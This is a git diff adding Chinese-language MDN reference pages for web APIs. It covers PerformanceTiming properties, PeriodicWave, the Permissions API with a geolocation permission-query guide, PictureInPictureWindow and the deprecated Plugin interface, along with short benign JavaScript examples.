是一个无符号long long 型的毫秒数,返回HTTP请求开始向服务器发送时的Unix毫秒时间戳。如果使用持久连接(persistent connection),则返回值等同于fetchStart属性的值。
+
{{domxref("PerformanceTiming.connectEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回浏览器与服务器之间的连接建立时的Unix毫秒时间戳。如果建立的是持久连接,则返回值等同于fetchStart属性的值。连接建立指的是所有握手和认证过程全部结束。
+
{{domxref("PerformanceTiming.secureConnectionStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回浏览器与服务器开始安全链接的握手时的Unix毫秒时间戳。如果当前网页不要求安全连接,则返回0。
+
{{domxref("PerformanceTiming.requestStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回浏览器向服务器发出HTTP请求时(或开始读取本地缓存时)的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.responseStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回浏览器从服务器收到(或从本地缓存读取)第一个字节时的Unix毫秒时间戳。如果传输层在开始请求之后失败并且连接被重开,该属性将会被数制成新的请求的相对应的发起时间。
+
{{domxref("PerformanceTiming.responseEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回浏览器从服务器收到(或从本地缓存读取,或从本地资源读取)最后一个字节时(如果在此之前HTTP连接已经关闭,则返回关闭时)的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.domLoading")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当前网页DOM结构开始解析时(即{{domxref("Document.readyState")}}属性变为“loading”、相应的 {{event("readystatechange")}}事件触发时)的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.domInteractive")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当前网页DOM结构结束解析、开始加载内嵌资源时(即{{domxref("Document.readyState")}}属性变为“interactive”、相应的{{event("readystatechange")}}事件触发时)的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.domContentLoadedEventStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当解析器发送{{event("DOMContentLoaded")}} 事件,即所有需要被执行的脚本已经被解析时的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.domContentLoadedEventEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当所有需要立即执行的脚本已经被执行(不论执行顺序)时的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.domComplete")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当前文档解析完成,即{{domxref("Document.readyState")}} 变为 'complete'且相对应的{{event("readystatechange")}} 被触发时的Unix毫秒时间戳。
+
{{domxref("PerformanceTiming.loadEventStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回该文档下,{{event("load")}}事件被发送时的Unix毫秒时间戳。如果这个事件还未被发送,它的值将会是0。
+
{{domxref("PerformanceTiming.loadEventEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,返回当{{event("load")}}事件结束,即加载事件完成时的Unix毫秒时间戳。如果这个事件还未被发送,或者尚未完成,它的值将会是0.
+
+ +

方法

+ +

Performance 接口不包含任何方法。

+ +
+
{{domxref("PerformanceTiming.toJSON()")}} {{non-Standard_Inline}}
+
是一个JSON格式化工具,返回一个 JSON 对象,代表具体的 PerformanceTiming 对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范名称规范状态说明
{{SpecName('Navigation Timing', '#sec-navigation-timing-interface', 'PerformanceTiming')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming")}}

+
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/performancetiming/loadeventend/index.html b/files/zh-cn/web/api/performancetiming/loadeventend/index.html new file mode 100644 index 0000000000..9d90f6241c --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/loadeventend/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.loadEventEnd +slug: Web/API/PerformanceTiming/loadEventEnd +translation_of: Web/API/PerformanceTiming/loadEventEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.loadEventEnd 是一个返回代表一个时刻的 unsigned long long 型只读属性,为 {{event("load")}} 事件处理程序被终止,加载事件已经完成之时的 Unix毫秒时间戳。如果这个事件没有被触发,或者没能完成,则该值将会返回 0。

+ +

语法

+ +
time = performanceTiming.loadEventEnd;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-loadedeventend', 'PerformanceTiming.loadEventEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.loadEventEnd")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/loadeventstart/index.html b/files/zh-cn/web/api/performancetiming/loadeventstart/index.html new file mode 100644 index 0000000000..ac4c1e723f --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/loadeventstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.loadEventStart +slug: Web/API/PerformanceTiming/loadEventStart +translation_of: Web/API/PerformanceTiming/loadEventStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.loadEventStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为 {{event("load")}} 事件被现在的文档触发之时的 Unix时间戳。如果这个事件没有被触发,则他返回 0。

+ +

语法

+ +
time = performanceTiming.loadEventStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-loadeventstart', 'PerformanceTiming.loadEventStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.loadEventStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/navigationstart/index.html b/files/zh-cn/web/api/performancetiming/navigationstart/index.html new file mode 100644 index 0000000000..512b95db03 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/navigationstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.navigationStart +slug: Web/API/PerformanceTiming/navigationStart +translation_of: Web/API/PerformanceTiming/navigationStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.navigationStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为紧接着在相同的浏览环境下卸载前一个文档结束之时的 Unix毫秒时间戳。如果没有上一个文档,则它的值相当于 {{domxref("PerformanceTiming.fetchStart")}}。

+ +

语法

+ +
time = performanceTiming.navigationStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-navigationstart', 'PerformanceTiming.navigationStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.navigationStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/redirectend/index.html b/files/zh-cn/web/api/performancetiming/redirectend/index.html new file mode 100644 index 0000000000..0f1bf31b0a --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/redirectend/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.redirectEnd +slug: Web/API/PerformanceTiming/redirectEnd +translation_of: Web/API/PerformanceTiming/redirectEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.redirectEnd 是一个返回代表一个时刻的 unsigned long long 型只读属性,为最后一次的HTTP重定向被完成且HTTP响应的最后一个字节被接收之时的 Unix毫秒时间戳。如果没有发生重定向,或者其中一个重定向不同源,则该值返回 0。

+ +

语法

+ +
time = performanceTiming.redirectEnd;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-redirectend', 'PerformanceTiming.redirectEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.redirectEnd")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/redirectstart/index.html b/files/zh-cn/web/api/performancetiming/redirectstart/index.html new file mode 100644 index 0000000000..27953d67bc --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/redirectstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.redirectStart +slug: Web/API/PerformanceTiming/redirectStart +translation_of: Web/API/PerformanceTiming/redirectStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.redirectStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为第一个HTTP的重定向开始的时刻的 Unix毫秒时间戳。如果重定向没有发生,或者其中一个重定向非同源,则该值返回 0。

+ +

语法

+ +
time = performanceTiming.redirectStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-redirectstart', 'PerformanceTiming.redirectStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.redirectStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/requeststart/index.html b/files/zh-cn/web/api/performancetiming/requeststart/index.html new file mode 100644 index 0000000000..fdaab3a8df --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/requeststart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.requestStart +slug: Web/API/PerformanceTiming/requestStart +translation_of: Web/API/PerformanceTiming/requestStart +--- +

{{ APIRef("PerformanceTiming") }}

+ +

概要

+ +

PerformanceTiming.requestStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为浏览器发送从服务器或者缓存获取实际文档的请求之时的 Unix毫秒时间戳。如果传输层在请求开始之后发生错误并且连接被重新打开,则该属性将会被设定为新的请求的相应的值 。

+ +

语法

+ +
time = performanceTiming.requestStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-requeststart', 'PerformanceTiming.requestStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.requestStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/responseend/index.html b/files/zh-cn/web/api/performancetiming/responseend/index.html new file mode 100644 index 0000000000..5f1520338c --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/responseend/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.responseEnd +slug: Web/API/PerformanceTiming/responseEnd +translation_of: Web/API/PerformanceTiming/responseEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.responseEnd 是一个返回代表一个时刻的 unsigned long long 型只读属性,为浏览器从服务器、缓存或者本地资源接收响应的最后一个字节或者连接被关闭之时的 Unix毫秒时间戳。

+ +

语法

+ +
time = performanceTiming.responseEnd;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-responseEnd', 'PerformanceTiming.responseEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.responseEnd")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/responsestart/index.html b/files/zh-cn/web/api/performancetiming/responsestart/index.html new file mode 100644 index 0000000000..f2716d2e55 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/responsestart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.responseStart +slug: Web/API/PerformanceTiming/responseStart +translation_of: Web/API/PerformanceTiming/responseStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.responseStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为浏览器从服务器、缓存或者本地资源接收到响应的第一个字节之时的 Unix毫秒时间戳。

+ +

语法

+ +
time = performanceTiming.responseStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-responsestart', 'PerformanceTiming.responseStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.responseStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/secureconnectionstart/index.html b/files/zh-cn/web/api/performancetiming/secureconnectionstart/index.html new file mode 100644 index 0000000000..9b45649191 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/secureconnectionstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.secureConnectionStart +slug: Web/API/PerformanceTiming/secureConnectionStart +translation_of: Web/API/PerformanceTiming/secureConnectionStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.secureConnectionStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为安全连接握手开始的时刻的 Unix毫秒时间戳。如果只要你过的连接没有被请求,则它返回 0。

+ +

语法

+ +
time = performanceTiming.secureConnectionStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-secureconnectionstart', 'PerformanceTiming.secureConnectionStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.secureConnectionStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/unloadeventend/index.html b/files/zh-cn/web/api/performancetiming/unloadeventend/index.html new file mode 100644 index 0000000000..7b0f50ff94 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/unloadeventend/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.unloadEventEnd +slug: Web/API/PerformanceTiming/unloadEventEnd +translation_of: Web/API/PerformanceTiming/unloadEventEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.unloadEventEnd 是一个返回代表一个时刻的 unsigned long long 型只读属性,为{{event("unload")}} 事件处理程序结束之时的 Unix毫秒时间戳。如果没有上一个的文档,或者上一个文档或需要被跳转的页面的其中之一不同源,则该值返回 0。

+ +

语法

+ +
time = performanceTiming.unloadEventEnd;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-unloadeventend', 'PerformanceTiming.unloadEventEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.unloadEventEnd")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/unloadeventstart/index.html b/files/zh-cn/web/api/performancetiming/unloadeventstart/index.html new file mode 100644 index 0000000000..5c1b20ccd0 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/unloadeventstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.unloadEventStart +slug: Web/API/PerformanceTiming/unloadEventStart +translation_of: Web/API/PerformanceTiming/unloadEventStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.unloadEventStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为 {{event("unload")}} 事件被触发之时的 Unix毫秒时间戳。如果没有上一个文档,或者上一个文档或需要重定向的页面之一不同源,则该值返回 0。

+ +

语法

+ +
time = performanceTiming.unloadEventStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-unloadeventstart', 'PerformanceTiming.unloadEventStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.unloadEventStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/periodicwave/index.html b/files/zh-cn/web/api/periodicwave/index.html new file mode 100644 index 0000000000..ea33eb1033 --- /dev/null +++ b/files/zh-cn/web/api/periodicwave/index.html @@ -0,0 +1,62 @@ +--- +title: PeriodicWave +slug: Web/API/PeriodicWave +translation_of: Web/API/PeriodicWave +--- +

{{ APIRef("Web Audio API") }}

+ +
+

PeriodicWave 接口定义了一个可用于对 {{domxref("OscillatorNode")}}(振荡节点) 的输出进行构造(描述)的周期性波形。

+
+ +

PeriodicWave (周期波) 没有输入或输出;它用于调用 {{domxref("OscillatorNode.setPeriodicWave()")}} 时定义自定义振荡器。 PeriodicWave 自身由 {{domxref("AudioContext.createPeriodicWave()")}} 创建/返回。

+ +

构造函数

+ +
+
{{domxref("PeriodicWave.PeriodicWave()")}}
+
使用所有属性的默认值创建一个新的 PeriodicWave 对象实例。如果你想一开始就建立自定义属性值,请使用 {{domxref("AudioContext.createPeriodicWave()")}} 工厂方法替代。
+
+ +

属性

+ +

None; 而且, PeriodicWave 不继承任何属性。

+ +

方法

+ +

None; 而且, PeriodicWave 继承任何属性。

+ +

例子

+ +

{{page("/zh-CN/docs/Web/API/BaseAudioContext/createPeriodicWave","例子")}}

+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#periodicwave', 'PeriodicWave')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.PeriodicWave")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/permissions/index.html b/files/zh-cn/web/api/permissions/index.html new file mode 100644 index 0000000000..59a142023b --- /dev/null +++ b/files/zh-cn/web/api/permissions/index.html @@ -0,0 +1,59 @@ +--- +title: Permissions +slug: Web/API/Permissions +translation_of: Web/API/Permissions +--- +

{{APIRef("Permissions API")}}{{SeeCompatTable}}

+ +

Permissions API的Permissions接口提供核心PermissionAPI功能,例如查询和撤消权限的方法。

+ +

方法

+ +
+
{{domxref("Permissions.query","Permissions.query()")}}
+
返回给定API的用户权限状态。
+
{{domxref("Permissions.request","Permissions.request()")}}
+
+

请求使用给定API的权限,目前此功能尚未在任何浏览器中被支持。

+
+
{{domxref("Permissions.requestAll","Permissions.requestAll()")}}
+
请求使用一组给定API的权限。目前此功能未在任何浏览器中被支持。
+
{{domxref("Permissions.revoke","Permissions.revoke()")}}
+
返回撤消当前在给定API上设置的权限。
+
+ +

Example

+ +
navigator.permissions.query({name:'geolocation'}).then(function(result) {
+  if (result.state === 'granted') {
+    showLocalNewsWithGeolocation();
+  } else if (result.state === 'prompt') {
+    showButtonToEnableLocalNews();
+  }
+  // 如果没有此权限则不什么也做
+});
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Permissions API","#permissions-interface", "Permissions")}}{{Spec2("Permissions API")}}Initial definition.
+ +

Browser Support

+ +
+ + +

{{Compat("api.Permissions")}}

+
diff --git a/files/zh-cn/web/api/permissions_api/index.html b/files/zh-cn/web/api/permissions_api/index.html new file mode 100644 index 0000000000..5c14434f15 --- /dev/null +++ b/files/zh-cn/web/api/permissions_api/index.html @@ -0,0 +1,94 @@ +--- +title: Permissions API +slug: Web/API/Permissions_API +tags: + - API + - Introduction + - NeedsTranslation + - Overview + - Permissions + - Permissions API + - TopicStub + - Web + - access +translation_of: Web/API/Permissions_API +--- +

{{DefaultAPISidebar("Permissions API")}}

+ +
+

The Permissions API provides a consistent programmatic way to query the status of API permissions attributed to the current context. For example, the Permissions API can be used to determine if permission to access a particular API has been granted or denied.

+
+ +

Concepts and usage

+ +

Historically different APIs handle their own permissions inconsistently — for example the Notifications API allows for explicit checking of permission status and requesting permission, whereas the Geolocation API doesn't (which causes problems if the user denied the initial permission request). The Permissions API provides the tools to allow developers to implement a better user experience as far as permissions are concerned.

+ +

The permissions property has been made available on the {{domxref("Navigator")}} object, both in the standard browsing context and the worker context ({{domxref("WorkerNavigator")}} — so permission checks are available inside workers), and returns a {{domxref("Permissions")}} object that provides access to the Permissions API functionality.

+ +

Once you have this object you can then perform permission-related tasks, for example querying a permission using the {{domxref("Permissions.query()")}} method to return a promise that resolves with the {{domxref("PermissionStatus")}} for a specific API.

+ +

Not all APIs' permission statuses can be queried using the Permissions API. Notable APIs that are Permissions-aware include:

+ + + +

More APIs will gain Permissions API support over time.

+ +

Examples

+ +

We have made a simple example available called Location Finder. You can run the example live, or view the source code on Github.

+ +

Read more about how it works in our article Using the Permissions API.

+ +

Interfaces

+ +
+
{{domxref("Navigator.permissions")}} and {{domxref("WorkerNavigator.permissions")}} {{readonlyinline}}
+
Provides access to the {{domxref("Permissions")}} object from the main context and worker context respectively.
+
{{domxref("Permissions")}}
+
Provides the core Permission API functionality, such as methods for querying and revoking permissions.
+
{{domxref("PermissionStatus")}}
+
Provides access to the current status of a permission, and an event handler to respond to changes in permission status.
+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Permissions API')}}{{Spec2('Permissions API')}}Initial definition.
+ +

Browser compatibility

+ +
+

Permissions interface

+ +
+ + +

{{Compat("api.Permissions")}}

+
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/permissions_api/using_the_permissions_api/index.html b/files/zh-cn/web/api/permissions_api/using_the_permissions_api/index.html new file mode 100644 index 0000000000..e437742dbc --- /dev/null +++ b/files/zh-cn/web/api/permissions_api/using_the_permissions_api/index.html @@ -0,0 +1,125 @@ +--- +title: Using the Permissions API +slug: Web/API/Permissions_API/Using_the_Permissions_API +tags: + - API + - Geolocation + - 实现性的 + - 指南 + - 权限 +translation_of: Web/API/Permissions_API/Using_the_Permissions_API +--- +

{{DefaultAPISidebar("Permissions API")}}{{SeeCompatTable}}

+ +

本文提供了使用 W3C Permission API 的基本说明,它提供了一种程序上的方式来查询当前上下文的 API 权限授权状态。

+ +

申请权限面临的困境...

+ +

惨淡的事实是,权限在 Web 开发中是令人厌恶却不得不面对的问题,对于开发者而言,处理它毫无乐趣。

+ +

由于历史原因,不同的 API 使用各自不同的方式来处理自己的权限──例如,Notification API 允许显式地检查权限状态和申请权限,然而,Geolocation API 却不能(如果用户拒绝了首次权限请求,就会造成我们下面将要看到的问题)。

+ +

Permissions API 提供了一系列工具来让开发者在权限方面实现更好的用户体验。例如,它提供了特定的 API 来查询某个权限被授予了还是被拒绝了,以及可以使用 API 来申请特定的权限。

+ +

目前来说,该 API 的实现还在早期阶段,所以浏览器支持也是参差不齐:

+ + + +

更多特性将逐步实现。

+ +

一个简单的例子

+ +

在本文中,我们有一个简单的 demo 叫作 Location Finder. 它使用 Geolocation 获取用户的当前位置,并标注在 Google 地图上:

+ +

Screenshot showing a map of Greenfield, UK.

+ +

You can 在线运行, 或 在 Github 查看源码。 大部分代码都很简单且常见──所以接下来我们会重点关注和 Permission API 有关的代码,如果你想学习其他部分,请自行阅读。

+ +

访问 Permissions API

+ +

浏览器现已包含 {{domxref("Navigator.permissions")}} 属性使开发者可以访问全局的 {{domxref("Permissions")}} 对象。这个对象最终将包含用来查询、申请和重置权限的方法,尽管,目前只有 {{domxref("Permissions.query()")}}; 我们接下来会讨论它。

+ +

查询权限状态

+ +

在我们的例子中,权限功能使用一个函数来处理— handlePermission(). 它开始于使用 {{domxref("Permissions.query()")}} 查询权限状态。根据 Promise resolve 后返回的 {{domxref("PermissionStatus")}} 对象的 {{domxref("PermissionStatus.state", "state")}} 属性,做出不同的处理:

+ +
+
"granted"
+
"Enable Geolocation" 按钮被隐藏掉了,因为 Geolocation 已经被允许了,不需要这个按钮了。
+
"prompt"
+
隐藏 "Enable Geolocation" 按钮,因为用户会被(浏览器)引导授权 Geolocation 权限,所以它不需要了。接下来 {{domxref("Geolocation.getCurrentPosition()")}} 函数会运行,它会引导用户授权;如果用户授权了,它会继续执行 revealPosition() 函数(会显示地图);如果用户拒绝了, positionDenied() 函数会被执行(这会让 "Enable Geolocation" 按钮显示出来)。
+
"denied"
+
"Enable Geolocation" 按钮会被显示(这段代码也需要放在这里,以防在页面首次加载时,这个源的权限状态就已经被设置为拒绝了)。
+
+ +
function handlePermission() {
+  navigator.permissions.query({name:'geolocation'}).then(function(result) {
+    if (result.state == 'granted') {
+      report(result.state);
+      geoBtn.style.display = 'none';
+    } else if (result.state == 'prompt') {
+      report(result.state);
+      geoBtn.style.display = 'none';
+      navigator.geolocation.getCurrentPosition(revealPosition,positionDenied,geoSettings);
+    } else if (result.state == 'denied') {
+      report(result.state);
+      geoBtn.style.display = 'inline';
+    }
+    result.onchange = function() {
+      report(result.state);
+    }
+  });
+}
+
+function report(state) {
+  console.log('Permission ' + state);
+}
+
+handlePermission();
+ +

权限描述符

+ +

{{domxref("Permissions.query()")}} 方法接受一个 PermissionDescriptor 字典作为参数 — 它包含你感兴趣的 API 的名称。一些 API 有继承自默认的 PermissionDescriptor  的更加复杂的 PermissionDescriptors 以包含更多额外的信息。例如,PushPermissionDescriptor 也包含一个比尔值指定 userVisibleOnlytrue 还是 false.

+ +

重置权限

+ +

从 Firefox 47 开始,你可以使用 {{domxref("Permissions.revoke()")}}  方法重置现有权限。它的调用方式和 {{domxref("Permissions.query()")}} 方法几乎一模一样,区别是,当 promise 成功 resolve 时,它会让一个现有的权限恢复默认状态(通常是 prompt)。让我们看看 demo 中的代码:

+ +
var revokeBtn = document.querySelector('.revoke');
+
+  ...
+
+revokeBtn.onclick = function() {
+  revokePermission();
+}
+
+  ...
+
+function revokePermission() {
+  navigator.permissions.revoke({name:'geolocation'}).then(function(result) {
+    report(result.state);
+  });
+}
+ +
+

自 Firefox 51 开始 revoke() 函数被默认关闭了,因为它的设计带来了 Web Applications Security Working Group 中提到的问题。可以通过将设置项  dom.permissions.revoke.enable 置为 true 来重新开启它。

+
+ +

响应权限状态变化

+ +

你会注意到,在上面的代码中,在 {{domxref("PermissionStatus")}} 对象上有一个 onchange 事件回调 — 这让我们可以对感兴趣的 API 的状态变化做出响应。目前,我们只是上报了状态的变化。

+ +

总结和展望未来

+ +

目前,较之我们已有的,这个 API 并没有提供太多额外内容。如果在浏览器询问时,我们选择了从不分享我们的位置,那么不使用浏览器菜单选项的话,我们将无法返回权限的初始状态(询问):

+ + + +

但是,未来浏览器会提供 request() 方法,他让我们可以在任何时候以编程的方式来请求权限。这非常值得期待尽快被实现。

diff --git a/files/zh-cn/web/api/pictureinpicturewindow/index.html b/files/zh-cn/web/api/pictureinpicturewindow/index.html new file mode 100644 index 0000000000..a67dcf8a15 --- /dev/null +++ b/files/zh-cn/web/api/pictureinpicturewindow/index.html @@ -0,0 +1,86 @@ +--- +title: PictureInPictureWindow +slug: Web/API/PictureInPictureWindow +translation_of: Web/API/PictureInPictureWindow +--- +
{{APIRef("Picture-in-Picture API")}}
+ +

PictureInPictureWindow接口是一个对象,它可以通过编程的方式获得浮动视频窗口的宽度和高度,并调整浮动视频窗口的大小。

+ +

使用{{domxref("HTMLVideoElement.requestPictureInPicture()")}}返回一个具有此接口的promise值

+ +

属性

+ +

 PictureInPictureWindow 接口不继承任何属性。

+ +
+
{{domxref("PictureInPictureWindow.width")}} {{ReadOnlyInline}}
+
获取浮动视频窗宽度。
+
{{domxref("PictureInPictureWindow.height")}} {{ReadOnlyInline}}
+
获取浮动视频窗高度。
+
+ +

Methods

+ +

The PictureInPictureWindow interface doesn't inherit any methods.

+ +

Events

+ +

The PictureInPictureWindow interface doesn't inherit any events.

+ +
+
{{domxref("PictureInPictureWindow.resize_event", "PictureInPictureWindow.resize")}}
+
Sent to a {{DOMxRef("PictureInPictureWindow")}} when the floating video window is resized. The associated event handler is {{domxref("PictureInPictureWindow.onresize")}}.
+
+ +

Examples

+ +

Given a <button> and a <video>, clicking the button will make the video enter the picture-in-picture mode; we then attach an event to print the floating video window dimensions to the console.

+ +
const button = document.querySelector("button");
+const video = document.querySelector("video");
+
+function printPipWindowDimensions(evt) {
+  const pipWindow = evt.target;
+  console.log(`The floating window dimensions are: ${pipWindow.width}x${pipWindow.height}px`);
+  // will print:
+  // The floating window dimensions are: 640x360px
+}
+
+button.onclick = function() {
+  video.requestPictureInPicture().then(pictureInPictureWindow => {
+    pictureInPictureWindow.onresize = printPipWindowDimensions;
+  });
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Picture-in-Picture', '#pictureinpicturewindow')}}{{Spec2('Picture-in-Picture')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.PictureInPictureWindow")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/plugin/index.html b/files/zh-cn/web/api/plugin/index.html new file mode 100644 index 0000000000..5d2695cf66 --- /dev/null +++ b/files/zh-cn/web/api/plugin/index.html @@ -0,0 +1,65 @@ +--- +title: Plugin +slug: Web/API/Plugin +tags: + - 插件 +translation_of: Web/API/Plugin +--- +
+

已废弃
+ 该特性已经从 HTML5.2 标准中删除,虽然一些浏览器目前仍然支持它,但也许会在未来的某个时间停止支持,请尽量不要使用该特性。

+
+ +
{{ApiRef("HTML DOM")}}
+ +

插件接口提供有关浏览器插件的信息 .

+ +
+

注:在最新版本的浏览器中插件对象本身的属性不可枚举。

+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称描述返回值类型兼容性
{{domxref("Plugin.description")}}一个人类可读的插件描述。  只读.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.filename")}}插件文件名. 只读.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.name")}}插件名. 只读.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.version")}}插件版本号字符串. 只读.{{domxref("DOMString")}}Gecko browsers only (Firefox 4+)
+ +

方法

+ +
+
{{domxref("Plugin.item")}}
+
返回支持的MIME类型的索引号.
+
{{domxref("Plugin.namedItem")}}
+
返回支持的MIME类型.
+
